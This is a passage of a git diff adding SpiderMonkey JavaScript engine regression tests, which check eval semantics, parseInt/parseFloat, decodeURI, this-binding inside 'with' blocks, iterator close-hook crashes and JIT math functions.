+// the callee's global object). a.f() is the one exception, which passes the
+// base, a, as the this object.
+assertEq(sb.evaluate('(function(){return f();})();'), "o");
+assertEq(sb.evaluate('(function(){return (1,f)();})();'), "o");
+assertEq(sb.evaluate('(function(){return a.f();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("f()");})();'), "o");
+
+// Same cases as above, but wrapped in a with. The first and last of these cases
+// pass b, the object scoped by the with, as the this value. a.f() still passes
+// the explicit base, a. (1,f)() is a little tricksier - this passes undefined
+// (promoted to the callee global object) since the comma operator calls
+// GetValue on the reference (see ES5 11.14.).
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return f();})(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return (1,f)();})(); }})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return a.f();})(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("f()");})(); }})();'), "b");
+
+// Same tests as above, but with a strict callee. We expect the same results,
+// except undefined this is not replaced with the global object.
+assertEq(sb.evaluate('(function(){return g();})();'), "u");
+assertEq(sb.evaluate('(function(){return (1,g)();})();'), "u");
+assertEq(sb.evaluate('(function(){return a.g();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("g()");})();'), "u");
+assertEq(sb.evaluate('(function(){with(b){ return g(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (1,g)(); }})();'), "u");
+assertEq(sb.evaluate('(function(){with(b){ return a.g(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("g()");})(); }})();'), "b");
+
+/* Same as the first set, but h is a getter property. */
+assertEq(sb.evaluate('(function(){return h();})();'), "o");
+assertEq(sb.evaluate('(function(){return (1,h)();})();'), "o");
+assertEq(sb.evaluate('(function(){return a.h();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("h()");})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return h(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (1,h)(); }})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return a.h(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("h()");})(); }})();'), "b");
+
+if (typeof reportCompare === "function");
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js b/js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js
new file mode 100644
index 0000000000..28f3019cda
--- /dev/null
+++ b/js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520095;
+var summary =
+ "decodeURI{,Component} should return the specified character for " +
+ "'%EF%BF%BE' and '%EF%BF%BF', not return U+FFFD";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(decodeURI("%EF%BF%BE"), "\uFFFE");
+assertEq(decodeURI("%EF%BF%BF"), "\uFFFF");
+assertEq(decodeURIComponent("%EF%BF%BE"), "\uFFFE");
+assertEq(decodeURIComponent("%EF%BF%BF"), "\uFFFF");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/delete-global-NaN-property.js b/js/src/tests/non262/global/delete-global-NaN-property.js
new file mode 100644
index 0000000000..6bce5c26d2
--- /dev/null
+++ b/js/src/tests/non262/global/delete-global-NaN-property.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict"
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 649570;
+var summary = "|delete window.NaN| should throw a TypeError";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = this, v = false;
+try
+{
+ delete this.NaN;
+ throw new Error("no exception thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "Expected a TypeError, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/global/direct-eval-but-not.js b/js/src/tests/non262/global/direct-eval-but-not.js
new file mode 100644
index 0000000000..a34192b372
--- /dev/null
+++ b/js/src/tests/non262/global/direct-eval-but-not.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 609256;
+var summary =
+ "Don't crash doing a direct eval when eval doesn't resolve to an object " +
+ "(let alone the original eval function)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var eval = "";
+try
+{
+ eval();
+ throw new Error("didn't throw?");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/eval-01.js b/js/src/tests/non262/global/eval-01.js
new file mode 100644
index 0000000000..50bb95ffdb
--- /dev/null
+++ b/js/src/tests/non262/global/eval-01.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = 9;
+var global = this;
+
+function test() {
+ var a = 0;
+
+ // direct eval sees local a
+ assertEq(eval('a+1'), 1);
+ assertEq(eval('eval("a+1")'), 1);
+
+ // indirect: using a name other than 'eval'
+ var foo = eval;
+ assertEq(foo('a+1'), 10);
+ assertEq(eval('foo("a+1")'), 10); // outer eval is direct, inner foo("a+1") is indirect
+
+ // indirect: qualified method call
+ assertEq(this.eval("a+1"), 10);
+ assertEq(global.eval("a+1"), 10);
+ var obj = {foo: eval, eval: eval};
+ assertEq(obj.foo('a+1'), 10);
+ assertEq(obj.eval('a+1'), 10);
+ var name = "eval";
+ assertEq(obj[name]('a+1'), 10);
+ assertEq([eval][0]('a+1'), 10);
+
+ // indirect: not called from a CallExpression at all
+ assertEq(eval.call(undefined, 'a+1'), 10);
+ assertEq(eval.call(global, 'a+1'), 10);
+ assertEq(eval.apply(undefined, ['a+1']), 10);
+ assertEq(eval.apply(global, ['a+1']), 10);
+ assertEq(['a+1'].map(eval)[0], 10);
+}
+
+test();
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/global/eval-02.js b/js/src/tests/non262/global/eval-02.js
new file mode 100644
index 0000000000..e1a315949c
--- /dev/null
+++ b/js/src/tests/non262/global/eval-02.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = 9;
+
+function directArg(eval, s) {
+ var a = 1;
+ return eval(s);
+}
+
+function directVar(f, s) {
+ var eval = f;
+ var a = 1;
+ return eval(s);
+}
+
+function directWith(obj, s) {
+ var f;
+ with (obj) {
+ f = function () {
+ var a = 1;
+ return eval(s);
+ };
+ }
+ return f();
+}
+
+// direct eval, even though 'eval' is an argument
+assertEq(directArg(eval, 'a+1'), 2);
+
+// direct eval, even though 'eval' is a var
+assertEq(directVar(eval, 'a+1'), 2);
+
+// direct eval, even though 'eval' is found via a with block
+assertEq(directWith(this, 'a+1'), 2);
+assertEq(directWith({eval: eval, a: -1000}, 'a+1'), 2);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js b/js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js
new file mode 100644
index 0000000000..00d76652dd
--- /dev/null
+++ b/js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 620130;
+var summary =
+ "Calls to eval with same code + varying strict mode of script containing " +
+ "eval == fail";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code) { return eval(code); }
+
+assertEq(t("'use strict'; try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ "threw");
+assertEq(t("try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ 17);
+assertEq(t("'use strict'; try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ "threw");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/eval-inside-with-is-direct.js b/js/src/tests/non262/global/eval-inside-with-is-direct.js
new file mode 100644
index 0000000000..d5d66483e0
--- /dev/null
+++ b/js/src/tests/non262/global/eval-inside-with-is-direct.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 601307;
+var summary = "with (...) eval(...) is a direct eval";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var t = "global";
+function test()
+{
+ var t = "local";
+ with ({})
+ return eval("t");
+}
+assertEq(test(), "local");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/eval-native-callback-is-indirect.js b/js/src/tests/non262/global/eval-native-callback-is-indirect.js
new file mode 100644
index 0000000000..bfc4a3489d
--- /dev/null
+++ b/js/src/tests/non262/global/eval-native-callback-is-indirect.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604504;
+var summary = "eval called from a native function is indirect";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+
+var global = this;
+var directCheckCode = "this === global";
+
+function testBound()
+{
+ var global = "psych!";
+ var eval = originalEval.bind(undefined, directCheckCode);
+ assertEq(eval(), true);
+}
+testBound();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/globalThis-enumeration.js b/js/src/tests/non262/global/globalThis-enumeration.js
new file mode 100644
index 0000000000..ecd5029473
--- /dev/null
+++ b/js/src/tests/non262/global/globalThis-enumeration.js
@@ -0,0 +1,5 @@
+assertEq(Object.getOwnPropertyNames(this).includes('globalThis'), true);
+
+if (typeof reportCompare === "function") {
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/global/parenthesized-eval-is-direct.js b/js/src/tests/non262/global/parenthesized-eval-is-direct.js
new file mode 100644
index 0000000000..4154128658
--- /dev/null
+++ b/js/src/tests/non262/global/parenthesized-eval-is-direct.js
@@ -0,0 +1,68 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("(eval)(...) is a direct eval, (1, eval)() isn't, etc.");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * Justification:
+ *
+ * https://mail.mozilla.org/pipermail/es5-discuss/2010-October/003724.html
+ *
+ * Note also bug 537673.
+ */
+
+var t = "global";
+
+function group()
+{
+ var t = "local";
+ return (eval)("t");
+}
+assertEq(group(), "local");
+
+function groupAndComma()
+{
+ var t = "local";
+ return (1, eval)("t");
+}
+assertEq(groupAndComma(), "global");
+
+function groupAndTrueTernary()
+{
+ var t = "local";
+ return (true ? eval : null)("t");
+}
+assertEq(groupAndTrueTernary(), "global");
+
+function groupAndEmptyStringTernary()
+{
+ var t = "local";
+ return ("" ? null : eval)("t");
+}
+assertEq(groupAndEmptyStringTernary(), "global");
+
+function groupAndZeroTernary()
+{
+ var t = "local";
+ return (0 ? null : eval)("t");
+}
+assertEq(groupAndZeroTernary(), "global");
+
+function groupAndNaNTernary()
+{
+ var t = "local";
+ return (0 / 0 ? null : eval)("t");
+}
+assertEq(groupAndNaNTernary(), "global");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/parseFloat-01.js b/js/src/tests/non262/global/parseFloat-01.js
new file mode 100644
index 0000000000..089c0901ec
--- /dev/null
+++ b/js/src/tests/non262/global/parseFloat-01.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 613492;
+var summary = "ES5 15.1.2.3 parseFloat(string)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(parseFloat("Infinity"), Infinity);
+assertEq(parseFloat("+Infinity"), Infinity);
+assertEq(parseFloat("-Infinity"), -Infinity);
+
+assertEq(parseFloat("inf"), NaN);
+assertEq(parseFloat("Inf"), NaN);
+assertEq(parseFloat("infinity"), NaN);
+
+assertEq(parseFloat("nan"), NaN);
+assertEq(parseFloat("NaN"), NaN);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/parseInt-01.js b/js/src/tests/non262/global/parseInt-01.js
new file mode 100644
index 0000000000..0417086697
--- /dev/null
+++ b/js/src/tests/non262/global/parseInt-01.js
@@ -0,0 +1,170 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577536;
+var summary = "ES5 15.1.2.2 parseInt(string, radix)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var str, radix;
+var upvar;
+
+/* 1. Let inputString be ToString(string). */
+
+assertEq(parseInt({ toString: function() { return "17" } }, 10), 17);
+
+upvar = 0;
+str = { get toString() { upvar++; return function() { upvar++; return "12345"; } } };
+assertEq(parseInt(str, 10), 12345);
+assertEq(upvar, 2);
+
+
+/*
+ * 2. Let S be a newly created substring of inputString consisting of the first
+ * character that is not a StrWhiteSpaceChar and all characters following
+ * that character. (In other words, remove leading white space.)
+ */
+
+var ws =
+ ["\t", "\v", "\f", " ", "\xA0", "\uFEFF",
+ "\u2004", "\u3000", // a few Unicode whitespaces
+ "\r", "\n", "\u2028", "\u2029"];
+
+str = "8675309";
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ assertEq(parseInt(ws[i] + str, 10), 8675309);
+ for (var j = 0, sz = ws.length; j < sz; j++)
+ {
+ assertEq(parseInt(ws[i] + ws[j] + str, 10), 8675309,
+ ws[i].charCodeAt(0).toString(16) + ", " +
+ ws[j].charCodeAt(0).toString(16));
+ }
+}
+
+
+/*
+ * 3. Let sign be 1.
+ * 4. If S is not empty and the first character of S is a minus sign -, let
+ * sign be −1.
+ */
+str = "5552368";
+assertEq(parseInt("-" + str, 10), -parseInt(str, 10));
+assertEq(parseInt(" -" + str, 10), -parseInt(str, 10));
+assertEq(parseInt("-", 10), NaN);
+assertEq(parseInt("", 10), NaN);
+assertEq(parseInt("-0", 10), -0);
+
+
+/*
+ * 5. If S is not empty and the first character of S is a plus sign + or a
+ * minus sign -, then remove the first character from S.
+ */
+assertEq(parseInt("+12345", 10), 12345);
+assertEq(parseInt(" +12345", 10), 12345);
+assertEq(parseInt("-12345", 10), -12345);
+assertEq(parseInt(" -12345", 10), -12345);
+
+
+/*
+ * 6. Let R = ToInt32(radix).
+ */
+
+upvar = "";
+str =
+ { toString: function() { if (!upvar) upvar = "string"; return "42"; } };
+radix =
+ { toString: function() { if (!upvar) upvar = "radix"; return "10"; } };
+
+assertEq(parseInt(str, radix), 42);
+assertEq(upvar, "string");
+
+assertEq(parseInt("123", null), 123);
+assertEq(parseInt("123", undefined), 123);
+assertEq(parseInt("123", NaN), 123);
+assertEq(parseInt("123", -0), 123);
+assertEq(parseInt("10", 72057594037927950), 16);
+assertEq(parseInt("10", -4294967292), 4);
+assertEq(parseInt("0x10", 1e308), 16);
+assertEq(parseInt("10", 1e308), 10);
+assertEq(parseInt("10", { valueOf: function() { return 16; } }), 16);
+
+
+/*
+ * 7. Let stripPrefix be true.
+ * 8. If R ≠ 0, then
+ * a. If R < 2 or R > 36, then return NaN.
+ * b. If R ≠ 16, let stripPrefix be false.
+ * 9. Else, R = 0
+ * a. Let R = 10.
+ * 10. If stripPrefix is true, then
+ * a. If the length of S is at least 2 and the first two characters of S
+ * are either “0x” or “0X”, then remove the first two characters from S and
+ * let R = 16.
+ */
+var vs = ["1", "51", "917", "2343", "99963"];
+for (var i = 0, sz = vs.length; i < sz; i++)
+ assertEq(parseInt(vs[i], 0), parseInt(vs[i], 10), "bad " + vs[i]);
+
+assertEq(parseInt("0x10"), 16);
+assertEq(parseInt("0x10", 0), 16);
+assertEq(parseInt("0x10", 16), 16);
+assertEq(parseInt("0x10", 8), 0);
+assertEq(parseInt("-0x10", 16), -16);
+
+assertEq(parseInt("5", 1), NaN);
+assertEq(parseInt("5", 37), NaN);
+assertEq(parseInt("5", { valueOf: function() { return -1; } }), NaN);
+
+
+/*
+ * 11. If S contains any character that is not a radix-R digit, then let Z be
+ * the substring of S consisting of all characters before the first such
+ * character; otherwise, let Z be S.
+ * 12. If Z is empty, return NaN.
+ */
+assertEq(parseInt(""), NaN);
+assertEq(parseInt("ohai"), NaN);
+assertEq(parseInt("0xohai"), NaN);
+assertEq(parseInt("-ohai"), NaN);
+assertEq(parseInt("+ohai"), NaN);
+assertEq(parseInt(" ohai"), NaN);
+
+assertEq(parseInt("0xaohai"), 10);
+assertEq(parseInt("hohai", 18), 17);
+
+
+/*
+ * 13. Let mathInt be the mathematical integer value that is represented by Z
+ * in radix-R notation, using the letters A-Z and a-z for digits with
+ * values 10 through 35. (However, if R is 10 and Z contains more than 20
+ * significant digits, every significant digit after the 20th may be
+ * replaced by a 0 digit, at the option of the implementation; and if R is
+ * not 2, 4, 8, 10, 16, or 32, then mathInt may be an implementation-
+ * dependent approximation to the mathematical integer value that is
+ * represented by Z in radix-R notation.)
+ * 14. Let number be the Number value for mathInt.
+ * 15. Return sign × number.
+ */
+assertEq(parseInt("ohai", 36), 1142154);
+assertEq(parseInt("0ohai", 36), 1142154);
+assertEq(parseInt("00ohai", 36), 1142154);
+assertEq(parseInt("A", 16), 10);
+assertEq(parseInt("0A", 16), 10);
+assertEq(parseInt("00A", 16), 10);
+assertEq(parseInt("A", 17), 10);
+assertEq(parseInt("0A", 17), 10);
+assertEq(parseInt("00A", 17), 10);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/parseInt-default-to-decimal.js b/js/src/tests/non262/global/parseInt-default-to-decimal.js
new file mode 100644
index 0000000000..b2e1378a4f
--- /dev/null
+++ b/js/src/tests/non262/global/parseInt-default-to-decimal.js
@@ -0,0 +1,31 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 583925;
+var summary =
+ "parseInt should treat leading-zero inputs (with radix unspecified) as " +
+ "decimal, not octal (this changed in bug 786135)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(parseInt("08"), 8);
+assertEq(parseInt("09"), 9);
+assertEq(parseInt("014"), 14);
+
+function strictParseInt(s) { "use strict"; return parseInt(s); }
+
+assertEq(strictParseInt("08"), 8);
+assertEq(strictParseInt("09"), 9);
+assertEq(strictParseInt("014"), 14);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/shell.js b/js/src/tests/non262/global/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/global/shell.js
diff --git a/js/src/tests/non262/iterable/browser.js b/js/src/tests/non262/iterable/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/iterable/browser.js
diff --git a/js/src/tests/non262/iterable/regress-340526-01.js b/js/src/tests/non262/iterable/regress-340526-01.js
new file mode 100644
index 0000000000..e3e1892784
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-340526-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340526;
+var summary = 'Iterators: cross-referenced objects with close handler can ' +
+ 'delay close handler execution';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var iter = Iterator({});
+ iter.foo = "bar";
+ for (var i in iter)
+ ;
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/iterable/regress-341815.js b/js/src/tests/non262/iterable/regress-341815.js
new file mode 100644
index 0000000000..cd5d9c2b12
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-341815.js
@@ -0,0 +1,83 @@
+// |reftest| skip -- bug xxx - fails to dismiss alert
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341815;
+var summary = 'Close hook crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var ialert = 0;
+//-----------------------------------------------------------------------------
+//test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var globalToPokeGC = {};
+
+ function make_iterator()
+ {
+ function* generator() {
+ try {
+ yield 0;
+ } finally {
+ make_iterator();
+ }
+ }
+ generator().next();
+ globalToPokeGC = {};
+ if (typeof alert != 'undefined')
+ {
+ alert(++ialert);
+ }
+ }
+
+ make_iterator();
+
+ for (var i = 0; i != 50000; ++i) {
+ var x = {};
+ }
+
+ print('done');
+
+ setTimeout('checkTest()', 10000);
+}
+
+function init()
+{
+ // give the dialog closer time to register
+ setTimeout('test()', 5000);
+}
+
+var lastialert = 0;
+
+function checkTest()
+{
+ // this function is used to check if there
+ // additional alerts are still being fired
+ // in order to prevent the test from completing
+ // until all alerts have finished.
+
+ if (ialert != lastialert)
+ {
+ lastialert = ialert;
+ setTimeout('checkTest()', 10000);
+ return;
+ }
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", init, false);
diff --git a/js/src/tests/non262/iterable/regress-341821.js b/js/src/tests/non262/iterable/regress-341821.js
new file mode 100644
index 0000000000..2aef6d9756
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-341821.js
@@ -0,0 +1,72 @@
+// |reftest| skip -- bug xxx - fails to dismiss alert
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341821;
+var summary = 'Close hook crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var ialert = 0;
+
+//-----------------------------------------------------------------------------
+//test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function* generator()
+ {
+ try {
+ yield [];
+ } finally {
+ make_iterator();
+ }
+ }
+
+ function make_iterator()
+ {
+ var iter = generator();
+ iter.next();
+ iter = null;
+ if (typeof alert != 'undefined')
+ {
+ alert(++ialert);
+ }
+ }
+
+ make_iterator();
+
+ // Trigger GC through the branch callback.
+ for (var i = 0; i != 50000; ++i) {
+ var x = {};
+ }
+
+ print('done');
+ reportCompare(expect, actual, summary);
+}
+
+function init()
+{
+ // give the dialog closer time to register
+ setTimeout('runtest()', 5000);
+}
+
+function runtest()
+{
+ test();
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", init, false);
diff --git a/js/src/tests/non262/iterable/regress-415922.js b/js/src/tests/non262/iterable/regress-415922.js
new file mode 100644
index 0000000000..cbbbcab465
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-415922.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415922;
+var summary = 'Support exception from withing JSNewEnumerateOp on JSENUMERATE_NEXT';
+var actual = 'No Error';
+var expect = 'Error: its enumeration failed';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() { for (k in it) return k }
+
+ if (typeof it == 'undefined')
+ {
+ print(expect = actual = 'it not defined, test skipped');
+ }
+ else
+ {
+ try
+ {
+ it.enum_fail = true;
+ var r = f();
+ actual = 'No exception r: ' + r.toString();
+ }
+ catch (e)
+ {
+ actual = e + '';
+ }
+ finally
+ {
+ it.enum_fail = false;
+ }
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/iterable/shell.js b/js/src/tests/non262/iterable/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/iterable/shell.js
diff --git a/js/src/tests/non262/jit/browser.js b/js/src/tests/non262/jit/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/jit/browser.js
diff --git a/js/src/tests/non262/jit/math-jit-tests.js b/js/src/tests/non262/jit/math-jit-tests.js
new file mode 100644
index 0000000000..0cd63f3ec4
--- /dev/null
+++ b/js/src/tests/non262/jit/math-jit-tests.js
@@ -0,0 +1,535 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 'none';
+var summary = 'trace-capability math mini-testsuite';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// The loop count at which we trace
+const RECORDLOOP = 8;
+// The loop count at which we run the trace
+const RUNLOOP = RECORDLOOP + 1;
+
+var testName = null;
+if ("arguments" in this && arguments.length > 0)
+ testName = arguments[0];
+
+function test(f)
+{
+ if (!testName || testName == f.testname) {
+ check(f.testname, f(), f.expected);
+ }
+}
+
+function check(desc, actual, expected)
+{
+ // Distinguish 0 and -0.
+ if (actual === 0 && expected === 0) {
+ actual = (1 / actual > 0) ? "+0" : "-0";
+ expected = (1 / expected > 0) ? "+0" : "-0";
+ }
+
+ reportCompare(expected, actual, desc);
+}
+
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+// Apply FUNCNAME to ARGS, and check against EXPECTED.
+// Expect a loop containing such a call to be traced.
+// FUNCNAME and ARGS are both strings.
+// ARGS has the form of an argument list: a comma-separated list of expressions.
+// Passing ARGS as a string allows us to assign better test names:
+// expressions like Math.PI/4 haven't been evaluated to big hairy numbers.
+function testmath(funcname, args, expected) {
+ var i, j;
+
+ var arg_value_list = eval("[" + args + "]");
+ var arity = arg_value_list.length;
+
+ // Build the string "a[i][0],...,a[i][ARITY-1]".
+ var actuals = []
+ for (i = 0; i < arity; i++)
+ actuals.push("a[i][" + i + "]");
+ actuals = actuals.join(",");
+
+ // Create a function that maps FUNCNAME across an array of input values.
+ // Unless we eval here, the call to funcname won't get traced.
+ // FUNCNAME="Infinity/Math.abs" and cases like that happen to
+ // parse, too, in a twisted way.
+ var mapfunc = eval("(function(a) {\n"
+ + " for (var i = 0; i < a.length; i++)\n"
+ + " a[i] = " + funcname + "(" + actuals +");\n"
+ + " })\n");
+
+ // To prevent the compiler from doing constant folding, produce an
+ // array to pass to mapfunc that contains enough dummy
+ // values at the front to get the loop body jitted, and then our
+ // actual test value.
+ var dummies_and_input = [];
+ for (i = 0; i < RUNLOOP; i++) {
+ var dummy_list = [];
+ for (j = 0; j < arity; j++)
+ dummy_list[j] = .0078125 * ((i + j) % 128);
+ dummies_and_input[i] = dummy_list;
+ }
+ dummies_and_input[RUNLOOP] = arg_value_list;
+
+ function testfunc() {
+ // Map the function across the dummy values and the test input.
+ mapfunc(dummies_and_input);
+ return dummies_and_input[RUNLOOP];
+ }
+ testfunc.testname = funcname + "(" + args + ")";
+ testfunc.expected = expected;
+
+ test(testfunc);
+}
+
+testmath("Math.abs", "void 0", Number.NaN)
+testmath("Math.abs", "null", 0)
+testmath("Math.abs", "true", 1)
+testmath("Math.abs", "false", 0)
+testmath("Math.abs", "\"a string primitive\"", Number.NaN)
+testmath("Math.abs", "new String( 'a String object' )", Number.NaN)
